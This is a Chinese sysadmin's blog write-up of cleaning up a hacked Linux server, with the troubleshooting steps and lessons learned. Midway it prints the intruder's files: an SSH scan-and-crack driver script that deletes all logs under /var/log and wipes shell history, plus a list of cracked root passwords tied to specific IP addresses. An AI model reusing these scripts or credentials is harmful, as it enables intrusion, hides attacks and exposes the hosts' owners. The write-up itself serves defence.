记一次服务被黑处理过程
简单描述
今天早上收到老大发的一封邮件 说一台服务器被攻击了
邮件内容展示下 = - =
简单的介绍下服务器的用途
这台服务器的IP地址原本是客户测试BGP用的一个地址,客户测试的时候曾经遭受过攻击,后来客户测试结束 我们就用做监控系统(smokeping)用了
处理过程
登陆服务器之后先确认流量收发是否正常
发现流量确实异常流量发送890G 接收1.6T
然后查看服务器登陆信息,只有root用户在登陆
查看端口信息。。。。。被惊到了下巴!整整两页....
查看防火墙 发现防火墙未启用 cnsre.cn|cnsre.cn
赶紧加端口启用防火墙
查看历史命令发现被删除
iftop查看实时流量 好像没用
查看下端口被占用的进程
netstat -pan 查看进程 发现进程名为./update的
pstree 查看进程
通过进程号查看文件路径
查看文件
给他个权限(皮一下嘿嘿)
杀掉进程,然后从新查看会不会在启动
(一般的如果没有找到木马路径的话不要先删除,因为一旦删除了就无法找到根源)
这个文件是没有权限了但是如果在黑进来怎么办呢
查看端口时发现还有用户在登陆
查看正在登陆的用户
然后给仔细一看 发现用户名是nologin!!!坏得很。。给他来个套餐
修改passwd 文件
然后在看下实时流量
确实没了流量了,事情干完了,看看文件吧
[root@localhost .shadow]# more 1 #!/bin/bash B=$1 while read line; do dup=$(echo $line |cut -d " " -f 1) if [ $dup ] ; then if [ $dup == DUP ] ; then ip=$(echo $line |cut -d ":" -f 3) echo "$ip" >>dup.txt fi fi done < $B
[root@localhost .shadow]# more 2 #!/bin/bash B=$1 while read line; do cat vuln.txt |grep -v "$line" >>vuln1.txt mv vuln1.txt vuln.txt sleep 1 done < $B
[root@localhost .shadow]# more vuln.txt root:Abc123456:115.220.1.149 root:Admin@123:116.228.230.110 root:firewall:116.228.80.117 root:firewall:116.228.80.114 root:firewall:116.228.80.115 root:firewall:116.228.80.116 root:admin123:116.228.245.98
[root@localhost .shadow]# more go #!/bin/bash echo "$(ls /var/log/)">cleanlist while read line do rm -rf /var/log/$line touch /var/log/$line done < cleanlist green='\E[32;40m' col=( '\E[31;40m' '\E[32;40m' '\E[33;40m' '\E[34;40m' '\E[35;40m' '\E[36;40m' '\E[37;40m' ) echo -e "$green [SSH] LOADING ...." echo -e "" sleep 2 cat motd echo "[SSH] Scanning $1 for open ssh ips." ./class 22 -a $1 -i em1 -s 10 cat bios.txt |sort | uniq > mfu.txt oopsnr2=`grep -c . mfu.txt` echo -e "[SSH] Found $oopsnr2 ip's" echo "[SSH] Cracking started" ./update 1500 rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r ; echo "$(ls /var/log/)">cleanlist while read line do rm -rf /var/log/$line touch /var/log/$line done < cleanlist sleep 5 ./clean # end of file
[root@localhost .shadow]# more vuln.txt root:Abc123456:115.220.1.149 root:Admin@123:116.228.230.110 root:firewall:116.228.80.117 root:firewall:116.228.80.114 root:firewall:116.228.80.115 root:firewall:116.228.80.116 root:admin123:116.228.245.98
观察一个小时
Q:发现一个病毒文件你删了他又自动创建怎么解决?
A:1、之前遇到过linux服务器流量莫名其妙的剧增,用iftop查看有连接外网的情况。针对这种情况一般重点查看netstat连接的外网ip和端口。
用lsof -p pid可以查看到具体是那些进程,rm -rf后不到一分钟就自动生成了,由此推断是某个母进程产生的这些文件。所以找到母进程就是找到罪魁祸首
2、查杀病毒最好断掉外网访问,还好是内网服务器,可以通过内网访问。断了内网,病毒就失去外联的能力,杀掉它就容易的多。怎么找到呢,找了半天也没有看到蛛丝马迹,没办法只有ps axu一个个排查
3、方法是查看可以的用户和和系统相似而又不是的冒牌货,但是才删掉了文件又自动复活
4、利用iftop,ps,netstat,chattr,lsof,pstree这些工具,最后找了源文件,删除掉最后才解决。
问题总结
1、遇到这种问题,如果不是太严重,尽量不要重装系统
2、一般就是先断外网
3、中毒之后一般机器cpu、内存使用率会比较高,机器向外发包等异常情况。top 命令找到cpu使用率最高的进程
4、利用iftop,ps,netstat,chattr,lsof,pstree这些工具仔细排查,当然也有一些会伪装的,简单的说就是把你的iftop,netstat,lsof这些命令替换掉,这个就要你仔细观察了
5、找到病毒 ps aux 找到病毒文件位置 rm -f 命令删除病毒文件,即使删除病毒文件不排除有潜伏病毒
6、检查计划任务、开机启动项和病毒文件目录有无其他可以文件等
7、如果遇到诸如此类的问题 /boot/efi/EFI/redhat/grub.efi: Heuristics.Broken.Executable FOUND,个人觉得就要重装系统了